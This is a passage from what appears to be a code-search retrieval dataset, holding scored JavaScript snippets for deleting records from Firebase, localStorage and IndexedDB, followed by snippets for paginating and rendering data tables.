api.shared().delete('/documents/' + id)\n .then(function (response) {\n success(response.data);\n })\n .catch(function (error) {\n console.log(error.response)\n if (error.response != undefined) {\n fail(error.response.data);\n }\n });\n }", "title": "" }, { "docid": "c4e5c1fbd2e8cbb8c59f2d8523daea98", "score": "0.61809075", "text": "function removeOrg() {\n var x=document.getElementById('orgdocid').value;\n console.log(x);\n db.collection(\"organizations\").doc(`${x}`).delete().then(function() {\n console.log(\"Document successfully deleted!\");\n document.getElementById('number').value=1;\n getOrgs();\n }).catch(function(error) {\n console.error(\"Error removing document: \", error);\n });\n}", "title": "" }, { "docid": "f6fb3ba3aaf2f94ac5f95604c9d2424d", "score": "0.6176708", "text": "delete(key) {\n if (isBsonType(key, 'ObjectID')) {\n key = key.toString();\n }\n\n this.set(key, undefined);\n return super.delete(key);\n }", "title": "" }, { "docid": "8d2d0d32e1daa82c2b857bb5abc5e66e", "score": "0.6159842", "text": "function deleteCrypto(event) {\n if (event.target.classList.value.includes('btn-2')) {\n \n database.collection(\"Crypto\").doc(`${event.target.dataset.iddoc}`).delete().then(() => {\n console.log(\"Document successfully deleted!\");\n document.getElementById('main').innerHTML = '';\n favRender();\n \n }).catch((error) => {\n console.error(\"Error removing document: \", error);\n });\n\n }\n}", "title": "" }, { "docid": "d69e7b8cdc51a6e5606f727f2b9bda59", "score": "0.6158688", "text": "function removeFromStorage(key) {\r\n if (localStorage) {\r\n try {\r\n localStorage.removeItem(key);\r\n } catch (error) {\r\n console.log(`error: removing item with key: ${key} from localStorage failed.`)\r\n console.log(error);\r\n }\r\n\r\n }\r\n else {\r\n console.log(\"error: localStorage not found\");\r\n }\r\n }", "title": "" }, { "docid": "2f2dfba5da6daf253309542e2d41595d", "score": "0.6121111", "text": "async delete() {\n this.storage.delete();\n }", "title": "" }, { "docid": "7fa015c9be949af904c964ef0fb5a642", "score": "0.61198163", "text": "deleteRecord(tableName, key) {\n return new Promise((resolve, reject) => {\n let trans = this.db.transaction([tableName], 'readwrite');\n let os = trans.objectStore(tableName);\n let req = os.delete(key);\n req.onsuccess = event => {\n resolve(event.target.result);\n };\n req.onerror = event => {\n reject(event);\n };\n });\n }", "title": "" }, { "docid": "6b42093947b8d23a48d38791c1e5e172", "score": "0.61178565", "text": "function deleteTodo(key) {\n\n // The ID of the item in question is located, and the deleted indicator is toggled\n const ind = todo.findIndex(item => item.id === Number(key));\n \n\n const todoo = {\n deleted: true,\n ...todo[ind]\n };\n\n // The \"deleted\" item is removed from the list of todos, and is \n // unpersisited from local storage\n todo = todo.filter(item => item.id !== Number(key));\n localStorage.removeItem(key);\n renderTodo(todoo);\n}", "title": "" }, { "docid": "c770dea2f931f827e2620b17c49795c1", "score": "0.6116525", "text": "remove(key) {\n delete this.store[key];\n }", "title": "" }, { "docid": "928f13a707d349a137becee3db597d20", "score": "0.61089844", "text": "deleteUser() {\n console.log(this.state.key);\n const dbRef = firebase.firestore().collection('Driver').doc(this.state.key)\n dbRef.delete().then((res) => {\n console.log('Item removed from database')\n Alert.alert(\n 'Delete User',\n 'User Deleted Successfuly ',\n [\n { text: 'Ok', onPress: () => console.log('No item was removed'), style: 'cancel' },\n ],\n {\n cancelable: true\n }\n );\n this.props.navigation.navigate('Drivers');\n })\n }", "title": "" }, { "docid": "bd4472beb9fd19fa48f29fceb8de2feb", "score": "0.6076719", "text": "function deleteDocumentInCache(selectedDocumentData) {\n for (var i = 0, length = $scope.documents_searchlist.length; i < length; i++) {\n if ($scope.documents_searchlist[i].documentId == selectedDocumentData.documentId) {\n // Remove the element in search list also\n $scope.documents_searchlist.splice(i, 1);\n }\n }\n for (var i = 0, length = $scope.editingDocumentData.length; i < length; i++) {\n if ($scope.editingDocumentData[i].documentId == selectedDocumentData.documentId) {\n // Remove the element in search list also\n $scope.editingData.splice(i, 1);\n }\n }\n }", "title": "" }, { "docid": "ff62a001569127e8e09c01eecc4c8053", "score": "0.6071961", "text": "remove(key) {\n if (typeof key === 'string') {\n window.localStorage.removeItem(key);\n } else if (key instanceof Array) {\n for (let i = 0; i < key.length; i++) {\n if (typeof key[i] === 'string') {\n window.localStorage.removeItem(key[i]);\n } else {\n throw new Error(`Key in index ${i} is not a string`);\n }\n }\n } else {\n throw new Error('Key must be a string or array for function remove(key || array)');\n }\n }", "title": "" }, { "docid": "0ab02a9959e78d4dde9c189c5fbc75b6", "score": "0.60671985", "text": "function deleteDoc() {\n \n const deleteBtns = document.querySelectorAll('.delete')\n deleteBtns.forEach( (element, key) => {\n element.addEventListener('click', function (event) {\n controller.delDoc(key)\n }) \n })\n\n }", "title": "" }, { "docid": "70899d310db02e760dbb1f1df754ac17", "score": "0.60459656", "text": "function delete_indexeddb_note() {\n let db;\n let dbReq = indexedDB.open('myDatabase', 1);\n dbReq.onsuccess = function(event) {\n db = event.target.result;\n let tx = db.transaction(['profile'], 'readwrite');\n let store = tx.objectStore('profile');\n let clear_store = store.clear();\n clear_store.onsuccess = function(event) {\n console.log(\"notes deleted\")\n }\n }\n}", "title": "" }, { "docid": "02d2e56b9d83058b43ce21f123232489", "score": "0.6045412", "text": "remove(key) {\r\n var obj = this.get(key);\r\n this.storage.deleteKey(key);\r\n return obj;\r\n }", "title": "" }, { "docid": "7f4cfec74918a4daa956d68111109d79", "score": "0.60234755", "text": "function removeLocalStorage(key) {\n localStorage.removeItem(key);\n}", "title": "" }, { "docid": "7328dfb5cde670e182480b3292b3bfaf", "score": "0.6013177", "text": "delete() {\n localStorage.removeItem(\"filestorage:\" + this._data.name);\n var files = File.getFileNames();\n var index = files.indexOf(this.name);\n if (index >= 0)\n files.splice(index, 1);\n localStorage.setItem(\"filestorage\", JSON.stringify(files));\n this._data = null;\n }", "title": "" }, { "docid": "79eb90dafd0a637b8808aa0e43a1d875", "score": "0.6011597", "text": "handleDelete(resName) {\n let userID = firebase.auth().currentUser.uid;\n firebase.database().ref('saved/' + userID + '/' + resName).remove();\n }", "title": "" }, { "docid": "72def75637e97b05c00b8ffc53855112", "score": "0.60066843", "text": "function deleteById(req, res, next) {\n\t\t// Find doc\n\t\tModel.deleteOne({ _id: req.params.id })\n\t\t\t.then(deleted => deleteFileExists(config.storage + req.params.id))\n\t\t\t.then(folderDeleted => res.send({ success: true}));\n\t}", "title": "" }, { "docid": "fb7e76e9d5c0258dddeecac2462cccbd", "score": "0.60011846", "text": "function deleteFbRecord(ref) {\n console.log(\"Entered deleteFbRecord\");\n ref.once(\"child_added\", function(snapshot) {\n console.log(\"key inside: \" + snapshot.key);\n ref.child(snapshot.key).remove();\n });\n}", "title": "" }, { "docid": "8ff464c561c125305548d48b250eb6b3", "score": "0.59944785", "text": "function deleteWoofFromDatabase (woofKey) {\n // TODO delete the record from Firebase\nfirebase.database().ref('woofs').child(woofKey).remove()\n}", "title": "" }, { "docid": "2e9fe57eeaad63b4238bc6015a0e7db1", "score": "0.59865177", "text": "remove(fileKey, cb) {\n const file = this.bucket.file(fileKey);\n\n file.delete(cb);\n }", "title": "" }, { "docid": "b9280f17d4a7b870ba0269a798b3912d", "score": "0.5981489", "text": "static removeItem(key) {\n if (!TimedLocalStorage.isLocalStorageSupported()) {\n return null;\n }\n localStorage.removeItem(key);\n }", "title": "" }, { "docid": "329599da32614a6602a6c7042d37656b", "score": "0.59715", "text": "P_remove(key, subkey = null) {\r\n if (subkey != null) {\r\n let obj = this.storage.get(key);\r\n delete obj[subkey];\r\n return this.set(key, obj);\r\n }\r\n return Promise.resolve(this.storage.deleteKey(key));\r\n }", "title": "" }, { "docid": "a0f080146aa6307ccbd239292aa4dd3e", "score": "0.59698236", "text": "function enleverCleLocalStorage(key){\nlocalStorage.removeItem(key); \n}", "title": "" }, { "docid": "14544a3c157e1063ec1cb2b9237dc493", "score": "0.5956751", "text": "clear(key) {\n this.storage.removeItem(key);\n }", "title": "" }, { "docid": "41c7a4a32161008b2b7f6c74e4c66a11", "score": "0.59542596", "text": "function deleteInDatabase(data){\n console.log(\"Delete flower with ID: \" + data);\n let id = data\n firebase\n .firestore()\n .collection(\"flowers\")\n .doc(id)\n .delete();\n}", "title": "" }, { "docid": "5e2a9ac8deb7c90d255064da7025ac6a", "score": "0.59489805", "text": "function deleteWoofFromDatabase (woofKey) {\n // delete the record from Firebase\n firebase.database().ref('woofs').child(woofKey).remove()\n}", "title": "" }, { "docid": "f343b65889a22462f7bca3e2fcc1cbc9", "score": "0.5946731", "text": "function deleteFile() {\n var fileName = $('#filename').val();\n var files = loadStorage();\n var index = files.indexOf(fileName);\n if (index!== -1) {files.splice(index, 1);}\n localStorage.setItem(\"files\", JSON.stringify(files));\n localStorage.removeItem(fileName);\n loadStorage();\n}", "title": "" }, { "docid": "f1f7bcb8d617b347eff802071392ec74", "score": "0.5946035", "text": "function enleverCleLocalStorage (key){\n localStorage.removeItem(key);\n \n}", "title": "" }, { "docid": "989f52ffaae244d663691631dab40093", "score": "0.59426844", "text": "deleteGameWords() {\n this.db.getRef(`words/${this.props.gameID}`).remove()\n .then(()=> {\n console.log(`Words for game (${this.props.gameID}) were deleted`);\n })\n .catch((error) => 'Words deletion failed: ' + error.message); \n }", "title": "" }, { "docid": "fc111f6ec0fe3b4bab0b66c09ba8814c", "score": "0.59371364", "text": "function borrarElemento(keyElement){\n var refIndex = basePage + \"/\";\n Object.keys(bundle).forEach(function (key) {\n db.ref(refIndex + key).child(keyElement).remove();\n\n // Lo borra local mente tambien para que sea mas rapido\n Object.keys(bundle[key]).forEach(function (key) {\n delete bundle[keyElement];\n });\n });\n}", "title": "" }, { "docid": "39c7d353065e96ef4f5baf3c04a4dc54", "score": "0.5922311", "text": "function deleteNote(id) {\r\n // getting all the books as a string \r\n let book = localStorage.getItem(\"books\");\r\n let localBookObj;\r\n // if no book is not present because, user can only delete a book when it is present in library, otherwise delete option would not be there \r\n // converting book string into the object \r\n localBookObj = JSON.parse(book);\r\n\r\n // deleting the element with given id, using splice function \r\n localBookObj.splice(id, 1);\r\n // storing back again in the form of string in the local storage \r\n localStorage.setItem(\"books\", JSON.stringify(localBookObj));\r\n // again calling add or you can say that display function so that books can be displayed again \r\n display.add();\r\n}", "title": "" }, { "docid": "410d54369befdda5463bff5f1edafa0c", "score": "0.5910008", "text": "function remove(keyId, callback) {\n commons.del(format('/%s/keys/%s', deis.version, keyId), callback);\n }", "title": "" }, { "docid": "102178afb19e66fda5de3934a46f0429", "score": "0.59096", "text": "function deleteMemoData(key) {\n if (!confirm(\"삭제하시겠습니까?\")) {\n return;\n }\n\n var currentRef = firebase.database().ref('memos/' + userInfo.uid + \"/\" + key);\n currentRef.remove();\n $(\"#\" + key).remove();\n\n newMemoData();\n}", "title": "" }, { "docid": "81279b71a27557f4b6dcb04398553715", "score": "0.5907234", "text": "function remove(key) {\n localStorage.removeItem(`${key}.sql`);\n}", "title": "" }, { "docid": "d05addd0c054217f8c7f56e3aef39279", "score": "0.59063697", "text": "delete(key) {\r\n if (this.enabled) {\r\n this.store.removeItem(key);\r\n }\r\n }", "title": "" }, { "docid": "7f5378367af9e98d07b29be8698673b7", "score": "0.58986056", "text": "deleteNote() {\n localStorage.removeItem(this.id);\n this.parentNode.removeChild(this);\n }", "title": "" }, { "docid": "81932811340fc4994aab871abb4cf659", "score": "0.58934385", "text": "static removeCacheByKey(key){\n localStorage.removeItem(key)\n }", "title": "" }, { "docid": "8a3adcfaea16b4541e0b4c1772ed9d4c", "score": "0.5886486", "text": "function deleteDocument(fileref, id, list){\n\tvar batchCmd = \"<Batch OnError='Continue'><Method ID='1' Cmd='Delete'><Field Name='ID'>\" + id + \"</Field><Field Name='FileRef'>\" + fileref + \"</Field></Method></Batch>\";\n\t\n\t$().SPServices({\n\t\toperation: \"UpdateListItems\",\n\t\tasync: false,\n\t\tlistName: list,\n\t\tupdates: batchCmd,\n\t\tcompletefunc: function (xData, Status) {console.log(xData);}\n\t});\n\t\n\tvar relevantdocument = $.grep(documentArray, function(e){ return e.id == id; });\n\trelevantdocument = relevantdocument[0];\n\t\n\tinitializeDocumentReorder(null, {\"OGIndex\":(relevantdocument.order-1),\"OGListID\":(relevantdocument.decisionitem == true ? \"decision-items-list\" : \"non-decision-items-list\")}, null);\n\t\n\t//delete from array\n\tfor(var i = 0; i < documentArray.length; i++){\n if(documentArray[i].id == id){\n documentArray.splice(i, 1); //removes 1 element at position i \n break;\n }\n }\n}", "title": "" }, { "docid": "edaa7bfd27b3e3c4259993773831dc6e", "score": "0.5872206", "text": "remove(key) {\n const index = getIndexBelowMax(key.toString(), this.limit);\n let bucket = this.storage.get(index);\n\n if (bucket) {\n bucket = bucket.filter(item => item[0] !== key);\n this.storage.set(index, bucket);\n }\n }", "title": "" }, { "docid": "45fd49585736cc4d4cfa1b08132df7dc", "score": "0.58689827", "text": "remove(key) {\n const index = getIndexBelowMax(key.toString(), this.limit);\n let bucket = this.storage.get(index);\n if (bucket) {\n bucket = bucket.filter(item => item[0] !== key);\n this.storage.set(index, bucket);\n }\n }", "title": "" }, { "docid": "4c9b1a4ace0cd87443e18819495b874d", "score": "0.5866894", "text": "remove(key) {\n this.repo.delete(key);\n }", "title": "" }, { "docid": "4cced4d6dc81682eff3ab0d4be797559", "score": "0.58634835", "text": "function delDocument(orderEvent) {\n\t//get the full event\n\tvar ev = events[orderEvent.eventID];\n\n\t//get the doc id of the document to delete\n\tvar docID = orderEvent.clipNumber + \"-\" + ev.documentID;\n\n\t//remove the doc\n\t$(\"#li-\" + docID).remove();\n\t$(\"#\" + docID).remove();\n\t$(\"#documents\").tabs('refresh');\n}", "title": "" }, { "docid": "85e70e7d925019e36b6ecb327e34ebdf", "score": "0.58568376", "text": "function del(path) {\n\t//define local variables\n\tvar ref = admin.database().ref(path);\n\n\t//return async work\n\treturn new Promise(function(resolve, reject) {\n\n\t\t//hit the database\n\t\tref.set(null, function(error) {\n\t\tif (error) {\n\t\t reject(\"Data could not be saved.\" + error);\n\t\t} else {\n\t\t resolve(\"Data saved successfully.\");\n\t\t}\n\t\t});\n\n\t});\n\n}", "title": "" }, { "docid": "bbc66ef561f420e3e39fbb30aec9b31b", "score": "0.58514345", "text": "function deletePlayer(data, callback) {\n deleteDoc(data, callback)\n}", "title": "" }, { "docid": "6e3252cc9725f4695003d3f06357f6c9", "score": "0.58490723", "text": "function removeDoc(id) {\n db.remove({ _id: id }, {}, function (err, numRemoved) {\n console.log(\"document has been removed\");\n });\n}", "title": "" }, { "docid": "fd831b6d3bc6479571a6d9e75be17191", "score": "0.58413804", "text": "function deleteParty(id) {\n console.log(id);\n\n\n let result = confirm(\"Do you want to delete this party?\");\n if (result == true) {\n partyRef.doc(id).delete();\n }\n\n}", "title": "" }, { "docid": "304d6fd0ec355d013c535fca4fe1ecd6", "score": "0.58400327", "text": "function index__clear(key, callback) {\n return promisify(function () {\n support.throwIfUnsupported();\n storage.clear(key);\n }, callback);\n }", "title": "" }, { "docid": "3d64a992481a2053c6e74f1e3a29249e", "score": "0.58361304", "text": "function resilDelete(d, key, cb) {\n d.batch([{ type: 'del', key: key }], function (err) {\n if (err) {\n console.error('Error deleting key %s', key);\n if (!err.notFound) {\n return void setImmediate(resilDelete, d, key, cb);\n }\n }\n cb();\n });\n}", "title": "" }, { "docid": "dd61f28206106cba06255917257d1245", "score": "0.58262867", "text": "remove(key) {\n const idx = getIndexBelowMax(key, this.limit);\n const bucket = this.storage.get(idx);\n\n if (!bucket) return;\n\n for (let k in bucket) {\n const current = bucket[Number(k)]\n if (current[0] === key) {\n bucket.splice(Number(k), 1);\n }\n }\n\n }", "title": "" }, { "docid": "e43fc13d8f33d2689510983d12a68273", "score": "0.5826239", "text": "function deleteNote(lol) {\r\n // console.log(\"deleting data \" + lol);\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n notesObj.splice(lol, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n displayNotes();\r\n}", "title": "" } ]
b7f33a54a3164bf04330641c687875e0
Setting rowsPerPage to 0 shows all rows, see render below
[ { "docid": "8494947b0cf84270b86d3e0c5e245d8b", "score": "0.6265194", "text": "updateRowsPerPage(rowsPerPage) {\n this.setState({\n rowsPerPage: rowsPerPage,\n currentPage: 1\n })\n this.props.numberOfRows && rowsPerPage ? this._fetchAndSetStateExperimentDesign(this.state.currentPage, rowsPerPage) :\n this._fetchAndSetStateExperimentDesign(this.state.currentPage, this.props.numberOfRows)\n }", "title": "" } ]
[ { "docid": "cfae9cf00a29b78d4027e4987145c695", "score": "0.6607137", "text": "function handleChangeRowsPerPage(event) {\n setRowsPerPage(parseInt(event.target.value, 10));\n setPage(0);\n }", "title": "" }, { "docid": "f0d16f52b6473b76891fc97f0909c8dc", "score": "0.6343098", "text": "function resetPagination() {\n // reset pagination \n const paginationData = STATE.getPaginationData();\n paginationData.page = 0;\n paginationData.rowsPerPage = 10\n STATE.setPaginationData(paginationData);\n }", "title": "" }, { "docid": "a4e63cafe0748a4be0fadee62d8a6091", "score": "0.6318979", "text": "function handlePagination() {\n\n var numResults = rowsParent.childElementCount;\n\n //disable and enable buttons based on row count\n if (numResults <= 5){\n //do nothing\n }else if(numResults <= 10){\n createPaginationListElement(2);\n } else if(numResults <= 15){\n createPaginationListElement(2);\n createPaginationListElement(3);\n } else { //over 20\n createPaginationListElement(2);\n createPaginationListElement(3);\n createPaginationListElement(4);\n }\n\n //store all rows in an array\n tableContent = rowsParent.innerHTML;\n\n showSelectedChildren(0, 4)\n\n\n}", "title": "" }, { "docid": "365fb352e60d50a64e0ea1eb3d574ccf", "score": "0.62205815", "text": "function displayRows(index, total) {\n\t\tvar start = (index - 1) * rowsPerPage;\n\t\tvar end = start + rowsPerPage;\n\t\t$('#start').text(start + 1);\n\t\tif (total <= end) {\n\t\t\t$('#end').text(total);\n\t\t} else {\n\t\t\t$('#end').text(end);\n\t\t}\n\n\t\t// hide all rows\n\t\trows.hide();\n\n\t\t// show only the rows for the corresponding page\n\t\trows.slice(start, end).show();\n\t}", "title": "" }, { "docid": "de446d1b7309ed22c5912ec1599e223e", "score": "0.620909", "text": "function loadList() {\n var begin = ((currentPage - 1) * numberPerPage);\n var end = begin + numberPerPage;\n\n pageList = filteredData.slice(begin, end);\n console.log(pageList);\n renderTable(pageList);\n numberOfPages = getNumberOfPages(filteredData)\n check();\n}", "title": "" }, { "docid": "0c00b281220bfeac9ce027b28c2d9a03", "score": "0.620118", "text": "function SearchResults(props) {\n const classes = useStyles2();\n const [page, setPage] = React.useState(0);\n const [rowsPerPage, setRowsPerPage] = React.useState(10);\n const {data} = props;\n\n // tracking the no of empty rows to be shown on the page\n const emptyRows = rowsPerPage - Math.min(rowsPerPage, data.length - page * rowsPerPage);\n\n // update the page on the state to reflect the page change\n function handleChangePage(event, newPage) {\n setPage(newPage);\n }\n\n // Handle change rows when paginating\n function handleChangeRowsPerPage(event) {\n setRowsPerPage(parseInt(event.target.value, 10));\n setPage(0);\n }\n\n // When no results, dont render table\n if(!!data && data.length === 0) {\n return null;\n }\n\n return (\n <Paper className={classes.root}>\n <div className={classes.tableWrapper}>\n <Table className={classes.table} size=\"small\">\n <TableHead>\n <TableRow>\n <StyledTableCell>Repository Name</StyledTableCell>\n <StyledTableCell align=\"right\">Programming Language</StyledTableCell>\n <StyledTableCell align=\"right\">Owner</StyledTableCell>\n <StyledTableCell align=\"center\">Avatar</StyledTableCell>\n <StyledTableCell align=\"right\">Stars</StyledTableCell>\n </TableRow>\n </TableHead>\n <TableBody>\n {data.slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage).map(repoItem => (\n <StyledTableRow key={repoItem.repo_full_name}>\n <StyledTableCell component=\"th\" scope=\"repoItem\">\n <Link href={repoItem.repo_url} target=\"_blank\" rel=\"noopener\">\n {repoItem.repo_full_name}\n </Link>\n </StyledTableCell>\n <StyledTableCell align=\"right\">\n\n {\n repoItem.programming_lang &&\n <Chip label={repoItem.programming_lang} className={classes.active} variant=\"outlined\" />\n }\n\n </StyledTableCell>\n <StyledTableCell align=\"right\">\n <Link href={repoItem.owner_url} target=\"_blank\" rel=\"noopener\">\n {repoItem.user_id} \n </Link>\n </StyledTableCell>\n <StyledTableCell align=\"center\"><Avatar className=\"centerAlign\" alt=\"avatar\" src={repoItem.avatar_url}/></StyledTableCell>\n <StyledTableCell align=\"right\">{repoItem.stars_count}</StyledTableCell>\n </StyledTableRow>\n ))}\n\n {emptyRows > 0 && (\n <StyledTableRow style={{ height: 68 * emptyRows }}>\n <StyledTableCell colSpan={6} />\n </StyledTableRow>\n )}\n </TableBody>\n <TableFooter>\n <TableRow>\n <TablePagination\n colSpan={5}\n count={data.length}\n rowsPerPage={rowsPerPage}\n page={page}\n SelectProps={{\n inputProps: { 'aria-label': 'rows per page' },\n native: true,\n }}\n rowsPerPageOptions={[]}\n onChangePage={handleChangePage}\n onChangeRowsPerPage={handleChangeRowsPerPage}\n ActionsComponent={CustomTablePagination}\n />\n </TableRow>\n </TableFooter>\n </Table>\n </div>\n </Paper>\n );\n}", "title": "" }, { "docid": "9f8fcdb2d016702fd0e0765854041475", "score": "0.6165929", "text": "toggleNoResults() {\n\t\tlet max_columns = this.column_name_array.length+1;\n\t\tif (this.total_items === 0) {\n\t\t\tgetComponentElementById(this,\"DataTableBody\").html('<tr id=\"#'+this.getUid()+'_DataTableLoading\"><td' +\n\t\t\t\t' colspan=\"'+max_columns+'\"' +\n\t\t\t\t' style=\"text-align: center;\">No results</td></tr>');\n\t\t\tgetComponentElementById(this,\"DataTableLoading\").show();\n\t\t}\n\t}", "title": "" }, { "docid": "923ce663e588094154aff2151b53c41f", "score": "0.6043716", "text": "table(req, res) {\n\n let { filter, page, limit } = req.query\n\n page = page || 1\n limit = limit || 3\n let offset = limit * (page - 1)\n\n const params = {\n filter,\n limit,\n page,\n offset,\n callback(instructors){\n const pagination = {\n total: Math.ceil(instructors[0].total / limit),\n page,\n }\n\n return res.render(\"instructors/index\", { instructors, pagination,filter })\n }\n }\n\n Instructor.paginate(params)\n }", "title": "" }, { "docid": "a7bf7c33a11741dc47caeef2703d8c98", "score": "0.6031943", "text": "displayRecordPerPage(page) {\n /*let's say for 2nd page, it will be => \"Displaying 6 to 10 of 23 records. Page 2 of 5\"\n page = 2; pageSize = 5; startingRecord = 5, endingRecord = 10\n so, slice(5,10) will give 5th to 9th records.\n */\n this.startingRecord = (page - 1) * this.pageSize;\n this.endingRecord = this.pageSize * page;\n\n this.endingRecord =\n this.endingRecord > this.totalRecountCount\n ? this.totalRecountCount\n : this.endingRecord;\n\n this.data = this.items.slice(this.startingRecord, this.endingRecord);\n\n //increment by 1 to display the startingRecord count,\n //so for 2nd page, it will show \"Displaying 6 to 10 of 23 records. Page 2 of 5\"\n this.startingRecord = this.startingRecord + 1;\n }", "title": "" }, { "docid": "06787caaeefaf9cc13eefcb3e4932fa1", "score": "0.59455657", "text": "resetPaginationOptions() {\n this._odataService.updateOptions({\n skip: 0\n });\n }", "title": "" }, { "docid": "06787caaeefaf9cc13eefcb3e4932fa1", "score": "0.59455657", "text": "resetPaginationOptions() {\n this._odataService.updateOptions({\n skip: 0\n });\n }", "title": "" }, { "docid": "94ed51e359729b11450f44ac8212686b", "score": "0.5904103", "text": "renderRows() {\n let tableHtml = '';\n let tableHtmlLeft = '';\n let tableHtmlRight = '';\n let j = 0;\n const self = this;\n const s = self.settings;\n const body = self.table.find('tbody');\n let activePage = 1;\n if (self.pagerAPI) {\n const pagerState = self.pagerAPI.state;\n if (pagerState.filteredActivePage) {\n activePage = pagerState.filteredActivePage;\n } else {\n activePage = pagerState.activePage;\n }\n }\n self.bodyColGroupHtmlLeft = '<colgroup>';\n self.bodyColGroupHtml = '<colgroup>';\n self.bodyColGroupHtmlRight = '<colgroup>';\n self.triggerDestroyCell(); // Trigger Destroy on previous cells\n\n if (!self.settings.columns || self.settings.columns.length === 0) {\n self.settings.columns.push({ id: 'blank', value: '', field: '' });\n }\n\n this.currentPageRows = [];\n\n for (j = 0; j < self.settings.columns.length; j++) {\n const col = self.settings.columns[j];\n const container = self.getContainer(col.id);\n const colWidth = self.columnWidth(col, j);\n\n switch (container) {\n case 'left':\n self.bodyColGroupHtmlLeft += `<col${colWidth}${col.hidden ? ' class=\"is-hidden\"' : ''}></col>`;\n break;\n case 'right':\n self.bodyColGroupHtmlRight += `<col${colWidth}${col.hidden ? ' class=\"is-hidden\"' : ''}></col>`;\n break;\n default:\n self.bodyColGroupHtml += `<col${colWidth}${col.hidden ? ' class=\"is-hidden\"' : ''}></col>`;\n }\n\n if (col.colspan) {\n self.hasColSpans = true;\n }\n }\n\n // Prevent flashing message area on filter / reload\n if (self.emptyMessageContainer) {\n self.emptyMessageContainer.hide();\n }\n\n if (body.length === 0) {\n if (self.hasLeftPane) {\n self.tableBodyLeft = $('<tbody role=\"rowgroup\"></tbody>');\n self.tableLeft.append(self.tableBodyLeft);\n }\n self.tableBody = $('<tbody role=\"rowgroup\"></tbody>');\n self.table.append(self.tableBody);\n if (self.hasRightPane) {\n self.tableBodyRight = $('<tbody role=\"rowgroup\"></tbody>');\n self.tableRight.append(self.tableBodyRight);\n }\n }\n\n self.groupArray = [];\n\n self.recordCount = 0;\n self.filteredCount = 0;\n self.runningCount = 0;\n\n // Reset recordCount for paging\n if (s.treeGrid && s.paging && !s.source && activePage > 1) {\n self.recordCount = s.treeRootNodes[(s.pagesize * activePage) - s.pagesize].idx - 1;\n }\n\n if (this.restoreSortOrder) {\n this.sortDataset();\n }\n let rowStatusTooltip = false;\n\n if (self.originalDataset && (!s.groupable && s.dataset.length > 0)) {\n s.dataset = self.originalDataset;\n }\n\n for (let i = 0; i < s.dataset.length; i++) {\n // For better performance dont render out of page\n if (s.paging && !s.source) {\n if (activePage === 1 && (i - this.filteredCount) >= s.pagesize) {\n if (!s.dataset[i]._isFilteredOut) {\n this.recordCount++;\n } else {\n this.filteredCount++;\n }\n continue; //eslint-disable-line\n }\n\n if (activePage > 1 && !((i - this.filteredCount) >= s.pagesize * (activePage - 1) &&\n (i - this.filteredCount) < s.pagesize * activePage)) {\n if (!s.dataset[i]._isFilteredOut) {\n if (this.filteredCount) {\n this.recordCount++;\n }\n } else {\n this.filteredCount++;\n }\n continue; //eslint-disable-line\n }\n }\n\n if (s.virtualized) {\n if (!this.isRowVisible(this.recordCount)) {\n this.recordCount++;\n continue; //eslint-disable-line\n }\n }\n\n // Exclude Filtered Rows\n if ((!s.treeGrid && s.dataset[i])._isFilteredOut) {\n this.filteredCount++;\n continue; //eslint-disable-line\n }\n\n // Handle Grouping\n if (this.settings.groupable) {\n // Filter and sorted\n if (s.dataset[i].values) {\n const thisLength = s.dataset[i].values.length;\n let thisFilterCount = 0;\n for (let k = 0; k < thisLength; k++) {\n if (s.dataset[i].values[k]._isFilteredOut) {\n thisFilterCount++;\n }\n }\n if (thisFilterCount === thisLength) {\n continue; //eslint-disable-line\n }\n }\n\n // First push group row\n if (!this.settings.groupable.suppressGroupRow) {\n // Show the grouping row\n const groupHtml = self.rowHtml(s.dataset[i], this.recordCount, i, true);\n\n if (this.hasLeftPane && groupHtml.left) {\n tableHtmlLeft += groupHtml.left;\n }\n if (groupHtml.center) {\n tableHtml += groupHtml.center;\n }\n if (this.hasRightPane && groupHtml.right) {\n tableHtmlRight += groupHtml.right;\n }\n }\n\n if (this.settings.groupable.showOnlyGroupRow && s.dataset[i].values[0]) {\n const rowData = s.dataset[i].values[0];\n\n if (s.dataset[i].list) {\n rowData.list = s.dataset[i].list;\n }\n\n rowData.values = s.dataset[i].values;\n const groupHtml = self.rowHtml(rowData, this.recordCount, i);\n if (this.hasLeftPane && groupHtml.left) {\n tableHtmlLeft += groupHtml.left;\n }\n if (groupHtml.center) {\n tableHtml += groupHtml.center;\n }\n if (this.hasRightPane && groupHtml.right) {\n tableHtmlRight += groupHtml.right;\n }\n\n this.recordCount++;\n self.groupArray.push({ group: i, node: 0 });\n continue; //eslint-disable-line\n }\n\n // Now Push Groups\n for (let k = 0; k < s.dataset[i].values.length; k++) {\n if (!s.dataset[i].values[k]._isFilteredOut) {\n const rowHtml = self.rowHtml(\n s.dataset[i].values[k],\n this.recordCount,\n s.dataset[i].values[k].idx\n );\n if (self.hasLeftPane && rowHtml.left) {\n tableHtmlLeft += rowHtml.left;\n }\n if (rowHtml.center) {\n tableHtml += rowHtml.center;\n }\n if (self.hasRightPane && rowHtml.right) {\n tableHtmlRight += rowHtml.right;\n }\n this.recordCount++;\n self.groupArray.push({ group: i, node: k });\n }\n }\n\n // Now Push summary rowHtml\n if (this.settings.groupable.groupFooterRow) {\n const rowHtml = self.rowHtml(s.dataset[i], this.recordCount, i, true, true);\n if (self.hasLeftPane && rowHtml.left) {\n tableHtmlLeft += rowHtml.left;\n }\n if (rowHtml.center) {\n tableHtml += rowHtml.center;\n }\n if (self.hasRightPane && rowHtml.right) {\n tableHtmlRight += rowHtml.right;\n }\n }\n\n continue; //eslint-disable-line\n }\n\n let currentCount = i;\n if (s.treeGrid) {\n currentCount = this.recordCount;\n }\n\n self.runningCount++;\n const rowHtml = self.rowHtml(s.dataset[i], currentCount, i);\n if (self.hasLeftPane && rowHtml.left) {\n tableHtmlLeft += rowHtml.left;\n }\n if (rowHtml.center) {\n tableHtml += rowHtml.center;\n\n if (s.treeGrid && this.filterExpr?.length) {\n if ($(`<table>${rowHtml.center}</table>`).find('tr:first').is('.is-hidden')) {\n this.filteredCount++;\n }\n }\n }\n if (self.hasRightPane && rowHtml.right) {\n tableHtmlRight += rowHtml.right;\n }\n\n if (!s.dataset[i]?._isFilteredOut) {\n this.recordCount++;\n }\n this.visibleRowCount = currentCount + 1;\n\n if (s.dataset[i]?.rowStatus) {\n rowStatusTooltip = 